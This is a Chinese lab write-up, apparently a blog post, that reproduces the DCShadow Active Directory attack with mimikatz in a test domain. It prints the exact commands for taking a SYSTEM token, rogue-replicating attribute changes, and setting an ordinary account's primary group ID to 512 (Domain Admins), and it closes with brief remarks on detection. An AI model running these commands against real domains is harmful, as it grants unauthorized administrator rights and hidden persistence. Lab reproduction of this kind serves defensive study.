DCShadow攻击复现

1.DCShadow

实测才是硬道理!

2.测试环境

DC:Windows server 2012
域:tony.local
 
域主机:Windows server 2016
已加域
 

2.1.涉及到的账户

2.1.1.域管理组账户

账户名:test


 

2.1.2.域普通账户

账户名:dc
 

3.实验流程-1

3.1.创建窗口A

登录域主机Windows server 2016本地账


 

3.1.1.右键管理员打开权限mimikatz


3.1.2.启用system权限

依次执行命令,确保当前的进程已system权限打开

mimikatz # !+
[+] 'mimidrv' service already registered
[*] 'mimidrv' service already started

mimikatz # !processtoken
Token from process 0 to process 0
 * from 0 will take SYSTEM token
 * to 0 will take all 'cmd' and 'mimikatz' process
Token from 4/System
 * to 584/cmd.exe
 * to 3968/mimikatz.exe

mimikatz # token::whoami
 * Process Token : {0;000003e7} 1 D 1421627     NT AUTHORITY\SYSTEM     S-1-5-18        (04g,31p)       Primary
 * Thread Token  : no token

3.1.3.窗口A

这个窗口暂时命名为:窗口A


 

3.2.开始执行DCShadow

3.2.1.查看描述

这里更改dc账户的描述,先查看dc的描述,由于我更改过,所以此时显示为
    “hi,hello”
 

3.2.2.执行更改


在刚才启动的窗口A中执行修改命令,来替换“hi,hello”

mimikatz # lsadump::dcshadow /object:CN=dc,CN=Users,DC=tony,DC=local /attribute:description /value:"an attcker"

执行完后如下所示,等待通过RPC协议推送至域控


 

3.3.创建窗口B

  保持这个窗口,不要关闭!并在管理员权限下打开另一个cmd窗口,这个窗口的权限必须是域管理组成员的权限,也就是Domain admin组成员。

3.3.1.使用PSEXEC

这里使用psexec来启用窗口


 

3.3.2.运行mimikatz

在这个窗口下运行mimikatz,查看当前的权限,为域管理权限test


 

3.3.3.执行推送命令


执行推送命令,下图可以看到,执行完推送命令后,刚开始执行修改的窗口显示RPC server stopped,此时就已经修改完成

mimikatz # lsadump::dcshadow /push

 

3.4.查看修改结果

修改成功


 

4.实验流程-2

将dc账户添加至管理员组(Domain admin)

4.1.查看描述


首先查看dc的信息

PSC:\Users\Administrator> ([adsisearcher]"(&(objectCategory=user)(name=dc))").Findall().Properties

此时dc的组ID为513


 
可以参考下面的对应组ID,513为域用户,那想要将dc加入至域管理组,就需要将组ID更改为512

  •     512   Domain Admins
  •     513   Domain Users
  •     514   Domain Guests
  •     515   Domain Computers
  •     516   Domain Controllers

4.2.执行更改


在窗口A中执行

mimikatz # lsadump::dcshadow /object:CN=dc,CN=Users,DC=tony,DC=local /attribute:primarygroupid /value:512

 

 

4.3.执行推送命令


推送至域控制器


 

4.4.查看修改结果

查看dc的所属组


 
 

5.可能会出现的实验失败情况


在实验过程中,出现推送服务失败的情况,短暂性的卡在如下图的界面,随后出现Performing Unregistration(取消注册)

这里呢,域控之间的通信是通过RPC服务来进行的,执行推送的过程也是需要RPC服务,域控本身RPC服务端口是开放的

但是测试主机的RPC服务端口未开放。所以,有两种解决方法:

1、把域主机的防火墙关闭

2、在域主机防火墙中添加策略,开放RPC服务的端口(具体就不再写了,可以自行百度)


 
 

6.总结

DCShadow目前还是具有危害性的操作行为,该技术可以用于更改和删除复制以及其他关联的元数据,以阻止应急人员分析。

攻击者还可以利用此技术执行SID历史记录注入和操纵AD对象(例如帐户,访问控制列表等)以建立持久性后门。

这不属于漏洞,因为是使用合法的已记录使用的协议:

  •     MS-ADTS
  •     MS-DRSR

这是一种利用后攻击(也称为控制攻击),因为它需要域管理员(或企业管理员)特权。

安全分析人员可以通过流量以及相关的安全日志来查找痕迹。(目前我还没有发现执行过后官网所说的事件ID)。

当然,也可以通过命令行参数(sysmon和cmd)来监控这种攻击的发生,但是并不现实。

注:本文为原创博客,如转载请标记出处!谢谢!

 

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值